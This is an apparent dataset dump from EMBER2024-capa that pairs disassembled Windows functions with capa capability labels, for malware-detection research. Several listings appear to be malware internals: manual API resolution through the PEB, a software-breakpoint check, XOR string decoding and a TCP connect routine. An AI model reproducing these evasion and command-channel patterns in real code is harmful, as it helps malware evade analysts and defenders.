joyce8/EMBER2024-capa huggingface dataset:
Function at 0x455de8
Capabilities:
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
push esi
test dl, dl
je 0x455dff
add esp, 0xfffffff0
call fcn.00403b94
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.0041ec14
mov eax, dword [0x461d94]
cmp word [eax + 2], 0
jne 0x455e27
mov eax, dword [0x461d94]
mov dword [eax + 4], ebx
mov dword [eax], fcn.004574d8
mov eax, dword [0x461e44]
cmp word [eax + 2], 0
jne 0x455e41
mov eax, dword [0x461e44]
mov dword [eax + 4], ebx
mov dword [eax], fcn.004576d0
mov byte [ebx + 0x34], 0
mov dl, 1
mov eax, dword [0x416e78]
call fcn.00403858
mov dword [ebx + 0x90], eax
mov dl, 1
mov eax, dword [0x416e78]
call fcn.00403858
mov dword [ebx + 0xa8], eax
xor eax, eax
mov dword [ebx + 0x60], eax
xor eax, eax
mov dword [ebx + 0x84], eax
mov dword [ebx + 0x5c], 0xff000018
mov dword [ebx + 0x78], 0x1f4
mov byte [ebx + 0x7c], 1
xor eax, eax
mov dword [ebx + 0x80], eax
mov dword [ebx + 0x74], 0x9c4
mov byte [ebx + 0x88], 0
mov byte [ebx + 0x9d], 1
mov byte [ebx + 0xb4], 1
mov dl, 1
mov eax, dword [0x420dfc]
call fcn.00426a44
mov esi, eax
mov dword [ebx + 0x98], esi
push 0x455fc8
mov eax, dword [0x461cac]
mov eax, dword [eax]
push eax
call sub.user32.dll_LoadIconA
mov edx, eax
mov eax, esi
call fcn.00426e14
mov eax, dword [ebx + 0x98]
mov dword [eax + 0x14], ebx
mov dword [eax + 0x10], 0x457c80
push pe_nt_image_headers32
lea eax, [ebp - 0x101]
push eax
mov eax, dword [0x461cac]
mov eax, dword [eax]
push eax
call sub.kernel32.dll_GetModuleFileNameA_1
lea eax, [ebp - 0x101]
push eax
lea eax, [ebp - 0x101]
push eax
call sub.user32.dll_OemToCharA
lea eax, [ebp - 0x101]
mov dl, 0x5c
call fcn.0040cbf8
test eax, eax
je 0x455f36
lea edx, [eax + 1]
lea eax, [ebp - 0x101]
call fcn.00408e74
lea eax, [ebp - 0x101]
mov dl, 0x2e
call fcn.0040cc20
test eax, eax
je 0x455f4a
mov byte [eax], 0
lea eax, [ebp - 0x101]
inc eax
push eax
call sub.user32.dll_CharLowerA
lea eax, [ebx + 0x8c]
lea edx, [ebp - 0x101]
mov ecx, pe_nt_image_headers32
call fcn.00404830
mov eax, dword [0x461b9c]
cmp byte [eax], 0
jne 0x455f7e
mov eax, ebx
call fcn.004560f0
mov byte [ebx + 0x59], 1
mov byte [ebx + 0x5a], 1
mov byte [ebx + 0x5b], 1
mov byte [ebx + 0x9e], 1
xor eax, eax
mov dword [ebx + 0xa0], eax
mov eax, ebx
call fcn.00457e5c
mov eax, ebx
call fcn.00458820
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x455fbe
call fcn.00403bec
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x456370
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [0x462bb0]
cmp dword [eax + 0x30], 0
je 0x45641a
cmp dword [ebx + 0x94], 0
jne 0x456414
mov eax, dword [ebx + 0x30]
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x456300
call sub.user32.dll_EnumWindows
mov eax, dword [ebx + 0x90]
cmp dword [eax + 8], 0
je 0x456414
push 3
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
mov dword [esp], esi
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongA
test al, 8
je 0x4563da
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0x90]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x456414
push 0x213
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0x90]
call fcn.004191e0
push eax
call sub.user32.dll_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x4563e9
inc dword [ebx + 0x94]
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x456f7c
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xffffff00
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0xa4], 0
je 0x456fb1
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x30]
push eax
call sub.user32.dll_GetWindowTextA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.004046b0
jmp 0x456fbe
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.00404614
add esp, 0x100
pop esi
pop ebx
ret

Function at 0x458038
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x84]
test esi, esi
je 0x458079
mov eax, esi
call fcn.0043e7d8
test al, al
je 0x458079
mov eax, dword [ebx + 0x84]
call fcn.0043e4d4
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x458079
push 0
mov eax, dword [ebx + 0x84]
call fcn.0043e4d4
push eax
call sub.user32.dll_ShowWindow
pop esi
pop ebx
ret
Function at 0x401165
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
pushal
mov dword [ebp - 4], 0
call fcn.00401178

Function at 0x401273
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push edi
mov edi, dword fs:[0x30]
mov edi, dword [edi + 0xc]
mov edi, dword [edi + 0xc]
jmp 0x4012a6
mov eax, edi
add eax, 0x2c
push dword [ebp + 8]
push dword [eax + 4]
call fcn.00401218
or eax, eax
jne 0x4012a4
mov eax, edi
mov eax, dword [eax + 0x18]
pop edi
leave
ret 4
mov edi, dword [edi]
cmp dword [edi + 0x18], 0
jne 0x401286
xor eax, eax
pop edi
leave
ret 4

Function at 0x4015db
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffffc
push ecx
push edi
and dword [ebp - 4], 0
mov ecx, 0x17c
xor al, al
mov edi, 0x4059c0
rep stosb byte es:[edi], al
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax + 0x18]
or eax, eax
jne 0x40160f
jmp 0x4017a2
push 0
push 0x4059c0
push 0x404040
push eax
call fcn.00401590
or eax, eax
jne 0x40162a
jmp 0x4017a2
push 0x404544
call fcn.00401273
or eax, eax
jne 0x40163d
jmp 0x4017a2
push 0
push 0x4059e8
push 0x4040a0
push eax
call fcn.00401590
or eax, eax
jne 0x401658
jmp 0x4017a2
push str.user32.dll
call dword [0x4059e8]
or eax, eax
jne 0x401677
push str.user32.dll
call dword [0x405a00]
mov dword [0x405b28], eax
or eax, eax
jne 0x401680
jmp 0x4017a2
push 1
push 0x405ad4
push 0x4043fb
push eax
call fcn.00401590
or eax, eax
jne 0x40169b
jmp 0x4017a2
push str.ole32.dll
call dword [0x4059e8]
or eax, eax
jne 0x4016ba
push str.ole32.dll
call dword [0x405a00]
mov dword [0x405b2c], eax
or eax, eax
jne 0x4016c3
jmp 0x4017a2
push 1
push 0x405afc
push str.StringFromGUID2
push eax
call fcn.00401590
or eax, eax
jne 0x4016de
jmp 0x4017a2
push str.advapi32.dll
call dword [0x4059e8]
or eax, eax
jne 0x4016fd
push str.advapi32.dll
call dword [0x405a00]
mov dword [0x405b30], eax
or eax, eax
jne 0x401706
jmp 0x4017a2
push 1
push 0x405b04
push str.RegDeleteKeyA
push eax
call fcn.00401590
or eax, eax
jne 0x401721
jmp 0x4017a2
push str.shell32.dll
call dword [0x4059e8]
or eax, eax
jne 0x401740
push str.shell32.dll
call dword [0x405a00]
mov dword [0x405b34], eax
or eax, eax
jne 0x401746
jmp 0x4017a2
push 1
push 0x405b20
push str.ShellExecuteA
push eax
call fcn.00401590
or eax, eax
jne 0x40175e
jmp 0x4017a2
push str.psapi.dll
call dword [0x4059e8]
or eax, eax
jne 0x40177d
push str.psapi.dll
call dword [0x405a00]
mov dword [0x405b38], eax
or eax, eax
jne 0x401783
jmp 0x4017a2
push 1
push 0x405b24
push str.GetModuleInformation
push eax
call fcn.00401590
or eax, eax
jne 0x40179b
jmp 0x4017a2
mov dword [ebp - 4], 1
mov eax, dword [ebp - 4]
pop edi
pop ecx
leave
ret
Function at 0x4017a9
Capabilities:
Check for software breakpoints

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ecx
push edi
push esi
push 0x404544
call fcn.00401273
or eax, eax
jne 0x4017c5
jmp 0x40195a
mov dword [ebp - 0x10], eax
push 0x404394
push eax
call fcn.00401165
or eax, eax
jne 0x4017dc
jmp 0x40195a
mov dword [ebp - 8], eax
push eax
call fcn.0040197f
mov dword [ebp - 4], eax
or eax, eax
jne 0x4017f1
jmp 0x40195a
add eax, 5
sub esp, eax
mov dword [ebp - 0xc], esp
mov ecx, dword [ebp - 4]
mov edi, dword [ebp - 0xc]
mov esi, dword [ebp - 8]
rep movsb byte es:[edi], byte [esi]
mov edi, dword [ebp - 0xc]
cmp byte [edi], 0xe9
je 0x401811
cmp byte [edi], 0xe8
jne 0x40182c
push 5
push dword [edi + 1]
push dword [ebp - 8]
call fcn.0040196f
push 5
push eax
push dword [ebp - 0xc]
call fcn.0040195f
mov dword [edi + 1], eax
cmp dword [ebp - 4], 1
jne 0x401844
cmp byte [edi], 0xcc
jne 0x401844
mov eax, dword [ebp - 4]
add eax, 5
add esp, eax
jmp 0x40195a
add edi, dword [ebp - 4]
mov byte [edi], 0xe9
mov eax, dword [ebp - 8]
add eax, dword [ebp - 4]
push 5
push eax
push edi
call fcn.0040195f
mov dword [edi + 1], eax
push str.FreeLibrary
push dword [ebp - 0x10]
call fcn.00401165
or eax, eax
jne 0x40187a
mov eax, dword [ebp - 4]
add eax, 5
add esp, eax
jmp 0x40195a
mov dword [ebp - 8], eax
push eax
call fcn.0040197f
mov dword [ebp - 0x14], eax
or eax, eax
jne 0x401897
mov eax, dword [ebp - 4]
add eax, 5
add esp, eax
jmp 0x40195a
add eax, 5
sub esp, eax
mov dword [ebp - 0x18], esp
mov ecx, dword [ebp - 0x14]
mov edi, dword [ebp - 0x18]
mov esi, dword [ebp - 8]
rep movsb byte es:[edi], byte [esi]
mov edi, dword [ebp - 0x18]
cmp byte [edi], 0xe9
je 0x4018b7
cmp byte [edi], 0xe8
jne 0x4018d2
push 5
push dword [edi + 1]
push dword [ebp - 8]
call fcn.0040196f
push 5
push eax
push dword [ebp - 0x18]
call fcn.0040195f
mov dword [edi + 1], eax
cmp dword [ebp - 0x14], 1
jne 0x4018ef
cmp byte [edi], 0xcc
jne 0x4018ef
mov eax, dword [ebp - 0x14]
add eax, 5
add esp, eax
mov eax, dword [ebp - 4]
add eax, 5
add esp, eax
jmp 0x40195a
add edi, dword [ebp - 0x14]
mov byte [edi], 0xe9
mov eax, dword [ebp - 8]
add eax, dword [ebp - 0x14]
push 5
push eax
push edi
call fcn.0040195f
mov dword [edi + 1], eax
mov ecx, 0x168
mov esi, 0x4059c0
mov edi, 0x4059c0
or ecx, ecx
je 0x401934
ror ecx, 2
push ecx
lodsd eax, dword [esi]
or eax, eax
je 0x40192e
push 0x8000
push 0
push eax
call dword [ebp - 0xc]
xor eax, eax
stosd dword es:[edi], eax
pop ecx
loop 0x40191d
mov ecx, 0x14
mov esi, 0x405b28
mov edi, 0x405b28
or ecx, ecx
je 0x40195a
ror ecx, 2
push ecx
lodsd eax, dword [esi]
or eax, eax
je 0x401954
push eax
call dword [ebp - 0x18]
xor eax, eax
stosd dword es:[edi], eax
pop ecx
loop 0x40194a
pop esi
pop edi
pop ecx
leave
ret
Function at 0x401baa
Capabilities:
Get process image filename

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffdd4
mov dword [ebp - 4], 1
call fcn.00403692
or eax, eax
je 0x401c58
mov dword [ebp - 0x20], eax
push 0
push 0x18
lea eax, [ebp - 0x1c]
push eax
push 0
push dword [ebp - 0x20]
call fcn.00402cc8
or eax, eax
jne 0x401c4f
push dword [ebp - 8]
push 0
push 0x400
call fcn.00403698
or eax, eax
je 0x401c4f
mov dword [ebp - 0x24], eax
push 0x104
lea eax, [ebp - 0x128]
push eax
push dword [ebp - 0x24]
call fcn.00402cda
lea eax, [ebp - 0x128]
push eax
push 0x104
lea eax, [ebp - 0x22c]
push eax
call fcn.00401b0f
push str.explorer.exe
lea eax, [ebp - 0x22c]
push eax
call fcn.0040369e
or eax, eax
jne 0x401c40
mov dword [ebp - 4], 0
jmp 0x401c47
mov dword [ebp - 4], 1
push dword [ebp - 0x24]
call fcn.004036a4
pop eax
push dword [ebp - 0x20]
call fcn.004036a4
mov eax, dword [ebp - 4]
leave
ret

Function at 0x401cff
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffec4
call fcn.00401baa
call fcn.004015db
or eax, eax
jne 0x401d1b
jmp 0x401e30
call fcn.00401e3e
or eax, eax
jne 0x401d29
jmp 0x401e30
push 0
call dword [0x4059e8]
mov dword [ebp - 0x128], eax
push str.my.exe
call fcn.00402a22
call fcn.004029af
or eax, eax
jne 0x401d4f
jmp 0x401e30
lea eax, [ebp - 0x10]
push eax
call dword [0x405b00]
push dword [ebp - 0x10]
push 0x10
lea eax, [ebp - 0x20]
push eax
call fcn.00401ac0
push 0x104
lea eax, [ebp - 0x124]
push eax
call dword [0x4059fc]
push 0x4045b6
lea eax, [ebp - 0x124]
push eax
call dword [0x4059f8]
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x124]
push eax
call dword [0x4059f8]
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x124]
push eax
push 0x66
push 0xa
push dword [ebp - 0x128]
call fcn.00401f43
lea eax, [ebp - 0x124]
push eax
call dword [0x405a00]
or eax, eax
je 0x401e2b
mov dword [ebp - 0x12c], eax
call dword [0x405ac0]
mov dword [ebp - 0x130], eax
push 0xc
lea eax, [ebp - 0x13c]
push eax
push dword [ebp - 0x12c]
push dword [ebp - 0x130]
call dword [0x405b24]
or eax, eax
je 0x401e1f
push 0
push 0x8000
push dword [ebp - 0x12c]
call dword [ebp - 0x134]
or eax, eax
je 0x401e1f
lea eax, [ebp - 0x124]
push eax
lea eax, [ebp - 0x10]
push eax
call fcn.004025f7
push dword [ebp - 0x12c]
call dword [0x405a14]
call fcn.00402ad3
call fcn.004017a9
push 0
call fcn.00403680
leave
ret

Function at 0x401f22
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ecx
mov edi, dword [ebp + 8]
mov esi, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x10]
or ecx, ecx
je 0x401f3c
lodsb al, byte [esi]
xor al, byte [ebp + 0x14]
stosb byte es:[edi], al
loop 0x401f35
pop ecx
pop esi
pop edi
leave
ret 0x10
Function at 0x4bf470
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x87000]
push edi
jmp 0x4bf48a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x4bf491
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4bf480
mov eax, 1
add ebx, ebx
jne 0x4bf4a3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x4bf4b4
jne 0x4bf4d3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4bf4d3
dec eax
add ebx, ebx
jne 0x4bf4c0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x4bf498
add ebx, ebx
jne 0x4bf4cf
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x4bf525
xor ecx, ecx
sub eax, 3
jb 0x4bf4eb
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x4bf55a
sar eax, 1
mov ebp, eax
jmp 0x4bf4f6
add ebx, ebx
jne 0x4bf4f6
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4bf4c4
inc ecx
add ebx, ebx
jne 0x4bf504
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4bf4c4
add ebx, ebx
jne 0x4bf511
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4bf506
jne 0x4bf522
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4bf506
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x4bf544
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4bf536
jmp 0x4bf486
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x4bf544
add edi, ecx
jmp 0x4bf486
pop esi
mov edi, esi
mov ecx, 0x45d7
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x4bf562
cmp byte [edi], 0xe
jne 0x4bf562
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x4bf567
lea edi, [esi + 0xbc000]
mov eax, dword [edi]
or eax, eax
je 0x4bf5df
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xc2758]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xc2888]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x4bf594
mov ecx, edi
jns 0x4bf5c3
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xc2890]
or eax, eax
je 0x4bf5d9
mov dword [ebx], eax
add ebx, 4
jmp 0x4bf5b1
call dword [esi + 0xc288c]
mov ebp, dword [esi + 0xc2894]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x22f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x4bf613
sub esp, 0xffffff80
jmp 0x465416
Function at 0x4018f0
Capabilities:
Encode data using xor

Disassembly:
push ecx
mov ecx, dword [esp + 8]
lea eax, [esp]
push eax
push ecx
mov dword [esp + 8], 0
call fcn.00401790
add esp, 8
xor ecx, ecx
test eax, eax
jle 0x401938
push ebx
mov edx, dword [esp + 4]
mov bl, byte [ecx + edx]
add bl, 0x38
mov byte [ecx + edx], bl
mov edx, dword [esp + 4]
mov bl, byte [ecx + edx]
xor bl, 0x7b
mov byte [ecx + edx], bl
inc ecx
cmp ecx, eax
jl 0x401912
mov eax, dword [esp + 4]
pop ebx
pop ecx
ret
mov eax, dword [esp]
pop ecx
ret

Function at 0x401940
Capabilities:
Create thread

Disassembly:
xor eax, eax
push eax
push eax
push dword [esp + 0x10]
push dword [esp + 0x10]
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
ret 8

Function at 0x401c64
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd8
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
mov ebx, 0x408164
push 0x408180
push ebx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push 0x408188
push ebx
mov dword [ebp - 4], eax
call esi
push eax
call edi
cmp dword [0x408464], 0
mov dword [ebp - 8], eax
jne 0x401e1a
and byte [ebp - 0xd8], 0
push 0x1f
pop ecx
xor eax, eax
lea edi, [ebp - 0xd7]
push str.3d3d3R3m1h3c0eQJEhYQFxRD
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call fcn.004018f0
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0xd8]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
lea eax, [ebp - 0xd8]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, 0x4087d8
push esi
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 0xc
mov ebx, 0x4084ec
test eax, eax
je 0x401e03
push 0x20
xor eax, eax
pop ecx
mov edi, ebx
rep stosd dword es:[edi], eax
lea eax, [ebp - 0xd8]
push esi
push eax
call dword [sym.imp.MSVCRT.dll_strcspn]
push eax
lea eax, [ebp - 0xd8]
push eax
push ebx
call dword [sym.imp.MSVCRT.dll_strncpy]
add esp, 0x14
cmp dword [0x40877c], 1
jne 0x401ddf
and byte [ebp - 0x58], 0
push 0xf
pop ecx
xor eax, eax
lea edi, [ebp - 0x57]
push 0xa
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x58]
push eax
jmp loc.004104be
lea eax, [ebp - 0xd8]
push esi
push eax
call dword [sym.imp.MSVCRT.dll_strcspn]
lea eax, [ebp + eax - 0xd7]
push eax
call dword [sym.imp.MSVCRT.dll_atoi]
add esp, 0xc
mov dword [0x40856c], eax
mov ax, word [0x40856c]
mov word [ebp - 0x18], 2
push eax
call dword [ebp - 4]
mov word [ebp - 0x16], ax
push ebx
jmp 0x401e2e
push 0x50
mov word [ebp - 0x18], 2
call dword [ebp - 4]
mov word [ebp - 0x16], ax
push str.www.baidu.com
call fcn.00403ca0
pop ecx
mov dword [ebp - 0x14], eax
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
lea eax, [ebp - 0x18]
push 0x10
push eax
push esi
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x401e60
push esi
call dword [ebp - 8]
or eax, 0xffffffff
jmp 0x401e62
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4010b0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push edi
mov edi, ecx
push esi
lea ecx, [ebp - 0x20]
push ebx
sub esp, 0x3c
mov dword [ebp - 0x20], 0x1fe
mov dword [esp + 0x14], ecx
lea ecx, [ebp - 0x1c]
mov dword [esp + 0x10], edi
mov dword [esp + 0xc], ecx
mov dword [esp + 8], 0
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._RegQueryValueExW_24
sub esp, 0x18
mov ebx, eax
test eax, eax
jne 0x4010f7
cmp dword [ebp - 0x1c], 1
je 0x401108
lea esp, [ebp - 0xc]
mov eax, ebx
pop ebx
pop esi
pop edi
pop ebp
ret
cmp word [edi], 0
je 0x401158
mov eax, edi
add eax, 2
cmp word [eax], 0
jne 0x401110
sub eax, edi
add eax, 2
xor ecx, ecx
mov esi, dword [sym.imp.ucrtbase.dll_wcschr]
mov word [edi + eax], cx
jmp 0x401138
xor edx, edx
lea edi, [eax + 2]
mov word [eax], dx
mov dword [esp + 4], 0x2c
mov dword [esp], edi
call esi
test eax, eax
jne 0x401130
lea esp, [ebp - 0xc]
mov eax, ebx
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, 2
jmp 0x40111e
Function at 0x401cc0
Capabilities:
Check if process is running under wine

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
lea ebx, [ebp - 0x218]
sub esp, 0x23c
mov dword [ebp - 0x22c], eax
lea eax, [ebp - 0x21c]
mov dword [esp + 8], eax
mov dword [esp + 4], str.SoftwareWineWineBrowser
mov dword [esp], 0x80000001
call sym._RegOpenKeyW_12
sub esp, 0xc
test eax, eax
je 0x401d30
mov esi, str._usr_bin_open
mov ecx, 0x21
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
movzx eax, word [esi]
mov word [edi], ax
mov edx, dword [ebp - 0x22c]
mov eax, ebx
call dbg.launch_app
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [ebp - 0x21c]
mov ecx, ebx
mov edx, str.Mailers
call sym._get_commands.constprop.0
mov esi, eax
mov eax, dword [ebp - 0x21c]
mov dword [esp], eax
call sym._RegCloseKey_4
sub esp, 4
test esi, esi
jne 0x401cfd
jmp 0x401d11

Function at 0x401d60
Capabilities:
Check if process is running under wine

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
lea ebx, [ebp - 0x218]
sub esp, 0x23c
mov dword [ebp - 0x22c], eax
lea eax, [ebp - 0x21c]
mov dword [esp + 8], eax
mov dword [esp + 4], str.SoftwareWineWineBrowser
mov dword [esp], 0x80000001
call sym._RegOpenKeyW_12
sub esp, 0xc
test eax, eax
je 0x401dc0
mov esi, str.launchurl
mov ecx, 0x24
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
mov edx, dword [ebp - 0x22c]
mov eax, ebx
call dbg.launch_app
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [ebp - 0x21c]
mov ecx, ebx
mov edx, str.Browsers
call sym._get_commands.constprop.0
mov esi, eax
mov eax, dword [ebp - 0x21c]
mov dword [esp], eax
call sym._RegCloseKey_4
sub esp, 4
test esi, esi
jne 0x401d9d
jmp 0x401dab

Function at 0x402bc0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
and esp, 0xfffffff0
sub esp, 0x10
mov esi, dword [ebp + 8]
mov dword [esp], esi
call dword [sym.imp.ucrtbase.dll_strlen]
mov ebx, eax
xor eax, eax
test ebx, ebx
je 0x402c1b
cmp byte [esi + ebx - 1], 0xa
je 0x402bef
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x24]
xchg dword [0x4060a4], eax
mov dword [esp], 2
call dword [sym.imp.ucrtbase.dll___acrt_iob_func]
mov dword [esp + 8], ebx
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], esi
call dword [sym.imp.ucrtbase.dll_fwrite]
lea esp, [ebp - 8]
pop ebx
pop esi
pop ebp
ret